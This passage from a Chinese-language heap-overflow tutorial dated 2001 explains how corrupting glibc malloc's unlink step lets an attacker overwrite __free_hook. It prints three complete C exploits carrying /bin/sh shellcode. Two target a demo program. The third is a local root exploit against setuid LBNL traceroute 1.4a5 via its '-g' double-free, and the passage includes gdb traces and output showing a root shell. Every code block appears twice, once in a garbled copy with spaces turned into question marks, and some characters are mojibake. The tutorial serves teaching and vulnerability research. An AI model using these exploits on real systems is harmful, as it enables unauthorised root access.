5. 一個演示程序
下面我們就可以來寫溢出程序了,其實是相當簡單的: Shell代碼 /*?Exploit?for?free()?with?unlinking?next?chunk?-?ex.c? ??*???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??*?????????????????????????????????????2001/03/06??*/ ????#include?<stdio.h> ??#include?<stdlib.h> ????#define?__FREE_HOOK?????0x401091b8??/*?__free_hook()地址?*/ ??#define?VULPROG?"./vul"????#define?PREV_INUSE?0x1??#define?IS_MMAPPED?0x2????char?shellcode[]?= ????"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"?/*這一段是為了跳過垃圾數據*/ ????"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"????"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"????"\x80\xe8\xdc\xff\xff\xff/bin/sh"; ????main?(int?argc,?char?**argv) ??{ ????unsigned?int?codeaddr?=?0; ????char?buf[128],?fake_chunk[16]; ????char?*env[2]; ????unsigned?int?*ptr; ??????/*?計算shellcode在堆棧中的地址?*/ ????codeaddr?=?0xc0000000?-?4?-?(strlen?(VULPROG)?+?1)?-?(strlen?(shellcode)?+?1); ??????env[0]?=?shellcode; ????env[1]?=?NULL; ??????/*?偽造一個塊結構?*/ ????ptr?=?(unsigned?int?*)?fake_chunk; ????*ptr++?=?0x11223344?&?~PREV_INUSE;?/*?將PREV_INUSE位清零?*/ ????/*?設置長度為-4,這個值應當是4的倍數?*/ ????*ptr++?=?0xfffffffc; ????*ptr++?=?__FREE_HOOK?-?12?; ????*ptr++?=?codeaddr; ???? ????bzero(buf,?128); ????memset?(buf,?'A',?16);?/*?填充無用數據?*/ ????memcpy?(buf?+?16,?fake_chunk,?sizeof?(fake_chunk)); ???? ????execle?(VULPROG,?VULPROG,?buf,?NULL,?env); ????}?/*?End?of?main?*/??/* Exploit for free() with unlinking next chunk - ex.c
* by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
* 2001/03/06
*/#include <stdio.h>
#include <stdlib.h>#define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */
#define VULPROG "./vul"#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2char shellcode[] ="\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*這一段是為了跳過垃圾數據*/"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv)
{unsigned int codeaddr = 0;char buf[128], fake_chunk[16];char *env[2];unsigned int *ptr;/* 計算shellcode在堆棧中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 偽造一個塊結構 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE; /* 將PREV_INUSE位清零 *//* 設置長度為-4,這個值應當是4的倍數 */*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12 ;*ptr++ = codeaddr;bzero(buf, 128);memset (buf, 'A', 16); /* 填充無用數據 */memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));execle (VULPROG, VULPROG, buf, NULL, env);} /* End of main */
運行一下看看:
[warning3@redhat-6 malloc]$ gcc -o ex ex.c [warning3@redhat-6 malloc]$ ./ex 0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA???????瑧@??? 0x8049780 [ buf1 ] (08) : 瑧@??? From buf to buf1 : 24
Before free buf Before free buf1 bash$ <--- 成功了!!
是不是很簡單?:-)
小節:
現在我們總結一下利用free(mem)來進行攻擊的基本步驟。假設chunk是該塊內部 結構的指針(chunk = mem - 8)。
我們有兩種方法: 1. 如果我們想利用上一塊的unlink進行攻擊,需要保證: I. chunk->size的IS_MMAPPED位為零 II. chunk->size的PREV_INUSE位為零 III. chunk + chunk->prev_size指向一個我們控制的偽造塊結構; IV. 在一個確定的位置構造一個偽塊
2. 如果想利用下一個塊的unlink進行攻擊,需要保證: I. chunk->size的IS_MMAPPED位為零 II. chunk->size的PREV_INUSE位為一 III. chunk + nextsz 指向一個我們控制的偽造塊結構。 (nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED)) IV. 在一個確定的位置構造一個偽塊
其中偽塊(fake_chunk)的結構如下:
fake_chunk[0] = 0x11223344 & ~PREV_INUSE (只在第2種情況下有意義) fake_chunk[4] = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); (只在第2種情況下有意義) fake_chunk[8] = objaddr - 12 ; (objaddr是要覆蓋的目標地址) fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址)
至于具體使用上面哪種方法,需要根據實際情況確定。例如,如果你不能控制 chunk->prev_size使其指向我們的偽塊,那就不能用第一種方法了。
我們再看一個利用上一塊的unlink進行攻擊的例子,只要將弱點程序的free(buf1)放到 free(buf)前面即可,這樣我們所free的buf1就是一個我們可以控制的內存塊了。 改動后的vul.c如下: ... printf ("Before free buf1\n"); free (buf1); /* 釋放buf1 */ printf ("Before free buf\n"); free (buf); /* 釋放buf */ ...
看看我們的新演示程序吧: Shell代碼 /*?Exploit?for?free()?with?unlinking?previous?chunk?-?ex1.c? ??*???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??*?????????????????????????????????????2001/03/06??*/ ????#include?<stdio.h> ??#include?<stdlib.h> ????#define?__FREE_HOOK?????0x401091b8??????/*?__free_hook()地址?*/ ??#define?VULPROG?"./vul"????#define?PREV_INUSE?0x1??#define?IS_MMAPPED?0x2????char?shellcode[]?=? ????"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"???/*這一段是為了跳過垃圾數據?*/ ????"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"????"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"????"\x80\xe8\xdc\xff\xff\xff/bin/sh"; ????main?(int?argc,?char?**argv) ??{ ????unsigned?int?codeaddr?=?0; ????char?buf[128],?fake_chunk[16]; ????char?*env[2]; ????unsigned?int?*ptr; ??????/*?計算shellcode在堆棧中的地址?*/ ????codeaddr?=?0xc0000000?-?4?-?(strlen?(VULPROG)?+?1)?-?(strlen?(shellcode)?+?1); ??????env[0]?=?shellcode; ????env[1]?=?NULL; ??????/*?偽造一個塊結構。?*/ ????ptr?=?(unsigned?int?*)?fake_chunk; ????*ptr++?=?0x11223344?&?~PREV_INUSE; ????*ptr++?=?0xfffffffc; ????*ptr++?=?__FREE_HOOK?-?12; ????*ptr++?=?codeaddr; ??????bzero?(buf,?128); ????memset?(buf,?'A',?16);? ????ptr?=?(unsigned?int?*)?(buf?+?16); ???? ????/*?讓prev_size等于-8?,使其指向我們偽造的塊.?滿足III條?*/ ????*ptr++?=?0xfffffff8;? ???? ????/*?只要保證next以及next->size可以訪問即可。所以讓size長度等于-4?, ?????*?如果要為正值,必須找到堆棧里的一個有效值,還要計算偏移,太麻煩。 ?????*?同時要清兩個標記。滿足I.,II.條? ?????*/ ????*ptr++?=?0xfffffffc?&?~(PREV_INUSE?|?IS_MMAPPED);? ???? ????/*?將偽造的塊放到確定位置。滿足第IV條?*/ ????memcpy?(buf?+?16?+?8,?fake_chunk,?sizeof?(fake_chunk)); ??????execle?(VULPROG,?VULPROG,?buf,?NULL,?env); ????}/*?End?of?main?*/??/* Exploit for free() with unlinking previous chunk - ex1.c
* by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
* 2001/03/06
*/#include <stdio.h>
#include <stdlib.h>#define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */
#define VULPROG "./vul"#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*這一段是為了跳過垃圾數據 */"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv)
{unsigned int codeaddr = 0;char buf[128], fake_chunk[16];char *env[2];unsigned int *ptr;/* 計算shellcode在堆棧中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 偽造一個塊結構。 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE;*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12;*ptr++ = codeaddr;bzero (buf, 128);memset (buf, 'A', 16); ptr = (unsigned int *) (buf + 16);/* 讓prev_size等于-8 ,使其指向我們偽造的塊. 滿足III條 */*ptr++ = 0xfffffff8; /* 只要保證next以及next->size可以訪問即可。所以讓size長度等于-4 ,* 如果要為正值,必須找到堆棧里的一個有效值,還要計算偏移,太麻煩。* 同時要清兩個標記。滿足I.,II.條 */*ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED); /* 將偽造的塊放到確定位置。滿足第IV條 */memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));execle (VULPROG, VULPROG, buf, NULL, env);}/* End of main */
讓我們再來測試一下:
[warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c [warning3@redhat-6 malloc]$ ./ex1 0x8049768 [ buf ] (40) : AAAAAAAAAAAAAAAA??????D3"????瑧@??? 0x8049780 [ buf1 ] (16) : D3"????瑧@??? From buf to buf1 : 24
Before free buf1 <-- 先釋放buf1 Before free buf bash$ exit
6. 實例: Traceroute "-g"問題
有了上面的演示程序。我們再來看一個真實世界的例子。
Traceroute是用來檢查通往目標網絡的路由情況的一個工具,很多Unix系統都安 裝了這個軟件。由于traceroute需要操縱原始套接字,因此通常被設置了setuid root屬性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National Laboratory)存在一個安全漏洞,可以被攻擊者用來非法獲取root權限。
這個漏洞主要是由于free()函數錯誤得去釋放一塊已經釋放的內存所引起的。
首先我們看一下traceroute的漏洞出在那里。traceroute使用了一個savestr()函數,它 在savestr.c中,它的作用類似strdup(),用來復制一個字符串。它會自動調用malloc()分 配一塊較大的內存空間, 并記錄下調用完畢后剩余空間的大小。如果用戶下次調用 savestr()時,所需內存比剩余空間還小,就不再調用malloc(),而是直接從已分配的空 間中返回一個地址,這樣可以減少調用malloc()的次數。然而,這給用戶確定何時需要釋 放那塊分配的內存帶來了麻煩,traceroute中沒有仔細考慮這一點,而是將savestr()等 同與strdup()來使用,每次調用savestr()完畢后總會調用free()函數釋放內存。因此, 當第二次調用savestr()后,free()所釋放的內存,實際上是一塊未被分配的內存(因為 這塊內存已經被第一次free()所釋放了)!
下面舛尉褪莝avestr()的代碼: Shell代碼 <...> ??/*?A?replacement?for?strdup()?that?cuts?down?on?malloc()?overhead?*/ ??char?* ??savestr(register?const?char?*str) ??{ ??????????register?u_int?size; ??????????register?char?*p; ??????????static?char?*strptr?=?NULL; ??????????static?u_int?strsize?=?0; ????????????size?=?strlen(str)?+?1; ??????????if?(size?>?strsize)?{ ??????????????????strsize?=?1024; ??????????????????if?(strsize?<?size) ??????????????????????????strsize?=?size; ?????????????????/*?只有size>strsize的情況下才調用malloc*/????????? ??????????????????strptr?=?(char?*)malloc(strsize); ??????????????????if?(strptr?==?NULL)?{ ??????????????????????????fprintf(stderr,?"savestr:?malloc\n"); ??????????????????????????exit(1); ??????????????????} ??????????} ??????????(void)strcpy(strptr,?str); ??????????p?=?strptr; ??????????strptr?+=?size; ??????????strsize?-=?size; ??????????return?(p); ??}???????? ????<...>??<...>
/* A replacement for strdup() that cuts down on malloc() overhead */
char *
savestr(register const char *str)
{register u_int size;register char *p;static char *strptr = NULL;static u_int strsize = 0;size = strlen(str) + 1;if (size > strsize) {strsize = 1024;if (strsize < size)strsize = size;/* 只有size>strsize的情況下才調用malloc*/ strptr = (char *)malloc(strsize);if (strptr == NULL) {fprintf(stderr, "savestr: malloc\n");exit(1);}}(void)strcpy(strptr, str);p = strptr;strptr += size;strsize -= size;return (p);
} <...>
我們看一下兩次調用savestr()時的情形:
<1>. p = savestr(S)
假設字符串S長度為l(l<1024),則第一次調用savestr(),它會分配1024 字節長的緩沖區來儲存S:
|<----------------------- 1024 bytes -------------------->| +----------------------------+----------------------------+ | S[0] S[1] ... S[l-1] \0 | junk | +----------------------------+----------------------------+ ^ ^ |__ p |___ strptr
這時候剩余空間strsize為: (1024 - l - 1) strptr指向 junk的起始
<2>. free(p)
第一次free()會釋放p指向的這塊緩沖區(1024字節),它會放一些數據在緩 沖區的開頭
|<----------------------- 1024 bytes -------------------->| +-------+--------------------+----------------------------+ | junk1 | S[k] ... S[l-1] \0 | junk | +-------+--------------------+----------------------------+ ^ |___ strptr 這時候p所指向的1024字節大小的緩沖區已經被釋放了。
<3>. p = savestr(T)
第二次調用savestr()時,如果字符串T的長度小于strsize(1024 -l -1), 那么savestr()就不會再次調用malloc()分配新內存,而是直接調用了: .... (void)strcpy(strptr, str); p = strptr; strptr += size; strsize -= size; return (p); .... 將字符串T拷貝到junk的起始處,而實際上,這塊內存已經被釋放了! 拷貝的結果如下:
|<----------------------- 1024 bytes -------------------->| +-------+--------------------+--------------------+-------+ | junk1 | S[k] ... S[l-1] \0 | T[0] ... T[n-1] \0 | junk2| +-------+--------------------+--------------------+-------+ ^ ^ |__ p |___ strptr
這時,strptr指向了junk2處,strsize = 1024 -l -1 -n -1 p指向原來的chunk起始處。
<4>. free(p)
第二次調用free()時,所指向的實際上是一個未分配的緩沖區,這就導致 一個嚴重錯誤。我們看到既然S和T都是我們可以控制的,那么我們就可以 利用前面所說的兩種方法中的任意一種來進行攻擊!
下面就是調用'-g'參數時函數執行的一個簡單流程。 Shell代碼 main() ??.... ??case?'g': ??... ??getaddr(gwlist?+?lsrr,?optarg); ????getaddr(register?u_int32_t?*ap,?register?char?*hostname) ??{ ??register?struct?hostinfo?*hi; ????(1)?hi?=?gethostinfo(hostname); ??*ap?=?hi->addrs[0]; ??(2)?freehostinfo(hi); ??} ????struct?hostinfo?* ??gethostinfo(register?char?*hostname) ??{ ????... ??(3)?hi?=?calloc(1,?sizeof(*hi)); ??... ??addr?=?inet_addr(hostname); ??if?((int32_t)addr?!=?-1)?{ ??(4)?hi->name?=?savestr(hostname); ??hi->n?=?1; ??(5)?hi->addrs?=?calloc(1,?sizeof(hi->addrs[0])); ??...? ??(6)?hi->addrs[0]?=?addr; ??return?(hi); ??}??main()
....
case 'g':
...
getaddr(gwlist + lsrr, optarg);getaddr(register u_int32_t *ap, register char *hostname)
{
register struct hostinfo *hi;(1) hi = gethostinfo(hostname);
*ap = hi->addrs[0];
(2) freehostinfo(hi);
}struct hostinfo *
gethostinfo(register char *hostname)
{...
(3) hi = calloc(1, sizeof(*hi));
...
addr = inet_addr(hostname);
if ((int32_t)addr != -1) {
(4) hi->name = savestr(hostname);
hi->n = 1;
(5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));
...
(6) hi->addrs[0] = addr;
return (hi);
}
我們看到,每次getaddr中都會釋放hostinfo結構中的每個成員,包括hi->name.(1) 而再第二次調用gethostinfo()時,又會經歷兩次calloc操作(3,5),以及一次賦值 操作(6)。因此看起來并不象我們原來想象的那么簡單,關鍵在于我們能否控制第 二次free的那塊內存的內部結構成員:chunk->size或者是chunk->prev_size. 讓我們來跟蹤一下:
[root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q (gdb) b gethostinfo Breakpoint 1 at 0x804aae8: file ./traceroute.c, line 1220. (gdb) r -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1
Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1
Breakpoint 1, gethostinfo (hostname=0xbffffdf3 "111.111.111.111") at ./traceroute.c:1220 1220 hi = calloc(1, sizeof(*hi)); (gdb) n 1221 if (hi == NULL) { (gdb) n 1225 addr = inet_addr(hostname); (gdb) n 1226 if ((int32_t)addr != -1) { (gdb) p/x addr <-- 這是hostname轉換后的地址(111.111.111.111) $2 = 0x6f6f6f6f (gdb) n <-- 下一步要為hostname分配1024字節內存 1227 hi->name = savestr(hostname); (gdb) n 1228 hi->n = 1; (gdb) p/x hi->name <-- 這是第一次分配返回的地址 $3 = 0x804d518 (gdb) x/8x hi->name -8 [prev_size] [size] [data...] 0x804d510: 0x00000000 0x00000409 0x2e313131 0x2e313131 0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 (gdb) n <-- 又動態分配了一塊內存 1229 hi->addrs = calloc(1, sizeof(hi->addrs[0])); (gdb) 1230 if (hi->addrs == NULL) { (gdb) p/x hi->addrs <-- 這塊內存是分配在hi->name + 0x400+8這個地址 $4 = 0x804d920 (gdb) n 1235 hi->addrs[0] = addr; (gdb) n 1236 return (hi); (gdb) x/x hi->addrs 0x804d920: 0x6f6f6f6f <-- 注意,將addr存在這個地址了。 (gdb) c Continuing.
Breakpoint 1, gethostinfo (hostname=0xbffffe06 "0x66.0x77.0x88.0x99") at ./traceroute.c:1220 1220 hi = calloc(1, sizeof(*hi)); [ 這時,前面分配的內存已經全被釋放了 ]
(gdb) p/x 0x804d510 <-- 我們看看原來的hi->name內存的情況 $5 = 0x804d510 (gdb) x/10x 0x804d510 [prev_size] [size] [data...] 0x804d510: 0x0804d920 0x00000af1 0x40108f80 0x40108f80 0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 0x804d530: 0x00000000 0x00000000 [ 我們看到我們原來的數據(16個字節)已經改變了 ] (gdb) n 1221 if (hi == NULL) { (gdb) x/10x 0x804d510 <--- 執行完第一個calloc(),后,prev_size被清零了。 [prev_size] [size] [data...] 0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80 0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 0x804d530: 0x00000000 0x00000000 (gdb) n 1225 addr = inet_addr(hostname); (gdb) n 1226 if ((int32_t)addr != -1) { (gdb) p/x addr <-- 這里意味著我們可以構造一個任意的值,并賦給addr $6 = 0x99887766 (gdb) n 1227 hi->name = savestr(hostname); <--再次調用savestr() (gdb) n 1228 hi->n = 1; (gdb) p/x hi->name $7 = 0x804d528 <-- 注意!hi->name的起始位置 = 0x804d518 + 第一個-g參數的長度(16)
(gdb) x/12x 0x804d510 0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80 0x804d520: 0x2e313131 0x00313131 * 0x36367830 0x3778302e 0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000 [ 第二個參數的內容從*號處開始 ]
(gdb) n <-- 下面這個calloc將再分配一段內存 1229 hi->addrs = calloc(1, sizeof(hi->addrs[0])); (gdb) n 1230 if (hi->addrs == NULL) { (gdb) p/x hi->addrs < --- 這個地址就是我們第一次savestr()時得到的地址!!! $8 = 0x804d518 (gdb) p/x sizeof(hi->addrs[0]) $9 = 0x4 (gdb) x/12x 0x804d510 <--- [prev_size] [size] [data...] 0x804d510: 0x0804d518 0x00000011 0x00000000 0x00000000 0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e 0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000 [ 從上面看到,新分配的內存也是從0x804d510開始的,而且將用戶數據區的前8個 字節清零。最頂上的塊也移動了16個字節,將0x804d520,0x804d524兩個地址的 數據覆蓋了。 ] (gdb) n 1235 hi->addrs[0] = addr; (gdb) p/x hi->addrs[0] $10 = 0x0 (gdb) n 1236 return (hi); (gdb) p/x hi->addrs[0] $11 = 0x99887766 (gdb) p/x &hi->addrs[0] $12 = 0x804d518 (gdb) x/12x 0x804d510 [prev_size] [size] [data...] 0x804d510: 0x0804d518 0x00000011 0x99887766 0x00000000 0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e 0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
[ 注意,addr = 0x99887766被存到了0x804d518處,這個值是我們能控制的 ]
(gdb) c Continuing.
Program received signal SIGSEGV, Segmentation fault. 0x40073f73 in free () at malloc.c:2952 2952 malloc.c: No such file or directory.
[ 在試圖free *號開始地址的內存時出錯 ]
為了更容易理解一下,我們可以看一下兩次調用savestr()時的圖:
第一次調用savestr()后,返回地址p0:
|<----------------------- 1024 bytes -------------------->| +----------------------------+----------------------------+ | "111.111.111.111" \0 | junk | +----------------------------+----------------------------+ ^ |__ p0
在第二次savestr()后,p0移動到一個新的位置p1=p0 + strlen(hostname) +1。
由于執行了一個calloc()操作,導致從p2開始的12個字節是我們不能控制的. 而幸運的是,由于有一個"hi->addrs[0] = addr"操作,使得p2前面的四個 字節是我們能控制的
|<----------------------- 1024 bytes -------------------->| +--------+----------------------+---------------------+---+ |99887766|0000 0000 0x0ae1|...\0|"0x66.0x77.0x88.0x99"|...| +--------+----------------------+---------------------+---+ | 4字節 |<--- 12字節 --->| ^ p0 p2 |__ p1
接下來要free(p1)了。根據前面介紹的方法,如果要想利用free(p1), 我們必須能控制p1-4(size)或者p1-8(prev_size)的內容,既然我們能控制 p0開始的4個字節,如果我們能設法使得p1與p2重合,那么我們不就可以 控制p1-4了嗎?這樣就要求第一個"-g"參數長度為3字節,例如"1.1" 再加上最后的'\0',長度就剛好是4字節了。
|<----------------------- 1024 bytes -------------------->| +--------+------------------------------------------------+ | "1.1"\0| | +--------+------------------------------------------------+ | 4字節 | p0
|<----------------------- 1024 bytes -------------------->| +--------+------------------------------------------------+ | "1.1"\0|"0x66.0x77.0x88.0x99"\0 | +--------+------------------------------------------------+ | 4字節 | p0 p1
|<----------------------- 1024 bytes -------------------->| +--------+----------------------------+-------------------+ |99887766|0000 0000 0x0ae1|"88.0x99"\0|... | +--------+----------------------------+-------------------+ | 4字節 |<--- 12字節 --->|<--8字節-->| p0 p2(p1)
那么下一步的關鍵就是如何設置chunk->size,以及將我們的偽造的塊放在 什么地方了。 inet_addr()有一個"特性",如果你輸入"1.2.3.4 AAAAAA"(注意空格后面 還添加了一些'A'),它并不會報錯,返回值為0x04030201.如果輸入 "0xaa.0xbb.0xcc.0xdd AAA"這樣的字符串,返回值就是0xddccbbaa.我們 可以將偽造的塊放在空格后面,將chunk->size放在0xaa.0xbb.0xcc.0xdd 中。例如,第二個"-g"參數使用"0x1d.0x00.0x00.0x00 fake_chunk" 這樣得到的chunk->size=0x0000001d。 0x1d這個值是怎么算出來的呢?
chunk = p1 -8 fake_chunk = p1 + strlen("0x1d.0x00.0x00.0x00 ") = p1 + 20 = chunk + 8 + 20 = chunk + 28 = chunk + 0x1c (0x1c | PREV_INUSE) ==> 0x1d
有人也許會說,為什么不將第一個參數長度設得比較大,例如,超過16 字節,這樣16字節后面的部分也會在我們的控制之下,利用這些部分來 構造一個prev_size和size不是更方便嗎?我開始也是這么考慮的,但是 實際測試時發現,p2所代表塊的已經是top塊,就是最頂上的塊。free(p1) 時,要求p1-8地址低于p2,因此這種方法行不通。
OK,到這里可以說是大功告成了,下面就可以開始寫測試程序了。我們利用的 是unlink下一個塊的方法。你會發現,一旦原理搞清楚了,這個測試程序是相 當簡潔的。 唯一需要知道的,就是__free_hook的地址.如果你有對 /usr/sbin/traceroute的讀權限,可以將它拷貝到一個臨時目錄下,然后使用 gdb,將斷點設在exit,然后獲取__free_hook.如果沒有讀權限,可以增加一個 偏移量,自動測試可能的__free_hook,一般按照0x10來遞增或遞減即可。
Shell代碼 /*?Exploit?for?LBNL?traceroute?with?unlinking?nextchunk? ??*???????????????????????????????????-?traceroute-ex.c? ??* ??*?THIS?CODE?IS?FOR?EDUCATIONAL?PURPOSE?ONLY?AND?SHOULD?NOT?BE?RUN?IN ??*?ANY?HOST?WITHOUT?PERMISSION?FROM?THE?SYSTEM?ADMINISTRATOR. ??* ??*???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??*?????????????????????????????????????2001/03/08??*/ ??#include?<stdio.h> ??#include?<stdlib.h> ????#define?__FREE_HOOK?????0x401091b8??????/*?__free_hook地址?*/ ??#define?VULPROG?"/usr/sbin/traceroute"????#define?PREV_INUSE?0x1??#define?IS_MMAPPED?0x2????char?shellcode[]?=? ????"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"???/*這一段是為了跳過垃圾數據?*/ ????"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"????"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"????"\x80\xe8\xdc\xff\xff\xff/bin/sh"; ????main?(int?argc,?char?**argv) ??{ ????unsigned?int?codeaddr?=?0; ????char?buf[128],fake_chunk[16]; ????char?*env[2]; ????unsigned?int?*ptr; ??????/*?計算shellcode在堆棧中的地址?*/ ????codeaddr?=?0xc0000000?-?4?-?(strlen?(VULPROG)?+?1)?-?(strlen?(shellcode)?+?1); ??????env[0]?=?shellcode; ????env[1]?=?NULL; ??????/*?偽造一個塊結構。?*/ ????ptr?=?(unsigned?int?*)?fake_chunk; ????*ptr++?=?0x11223344?&?~PREV_INUSE; ????*ptr++?=?0xfffffffc; ????*ptr++?=?__FREE_HOOK?-?12; ????*ptr++?=?codeaddr; ??????bzero?(buf,?128); ????/*?設置chunk->size?=?((20+8?=?28?=?0x1c)?|?PREV_INUSE)=?0x1d?*/ ????memcpy(buf,?"0x1d.0x00.0x00.0x00?",?20); ????memcpy(buf+20,?fake_chunk,?16); ??????execle?(VULPROG,?VULPROG,?"-g",?"1.1",?"-g"?,?buf,?"127.0.0.1",?NULL,?env); ????}/*?End?of?main?*/??/* Exploit for LBNL traceroute with unlinking nextchunk
* - traceroute-ex.c
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
* by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
* 2001/03/08
*/
#include <stdio.h>
#include <stdlib.h>#define __FREE_HOOK 0x401091b8 /* __free_hook地址 */
#define VULPROG "/usr/sbin/traceroute"#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*這一段是為了跳過垃圾數據 */"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv)
{unsigned int codeaddr = 0;char buf[128],fake_chunk[16];char *env[2];unsigned int *ptr;/* 計算shellcode在堆棧中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 偽造一個塊結構。 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE;*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12;*ptr++ = codeaddr;bzero (buf, 128);/* 設置chunk->size = ((20+8 = 28 = 0x1c) | PREV_INUSE)= 0x1d */memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);memcpy(buf+20, fake_chunk, 16);execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);}/* End of main */
測試結果:
[warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c [warning3@redhat-6 malloc]$ ./ex3 bash# id uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users) bash#
★ 結束語:
malloc/free的問題使得在某些平臺/系統下,Heap區溢出的危險性大大增加了, 值得引起我們的重視。另外,除了free()可能出問題外,realloc()也可能出問題。 有興趣的讀者可以自行參看一下realloc()的代碼。
最初想寫這篇文檔是在去年10月份,后來由于種種原因,一直拖了下來, 為此被scz罵了很多次。 現在總算完成了。
★ 感謝:
感謝Solar Designer,Chris Evans,dvorak,Michel Kaempf無私地奉獻了他 們的研究成果。(參見參考文獻.)
★ 參考文獻:
[1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>> http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
[2] Chris Evans, <<Very interesting traceroute flaw>> http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html
[3] dvorak , <<Traceroute exploit + story>> http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html
[4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>> http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html
| |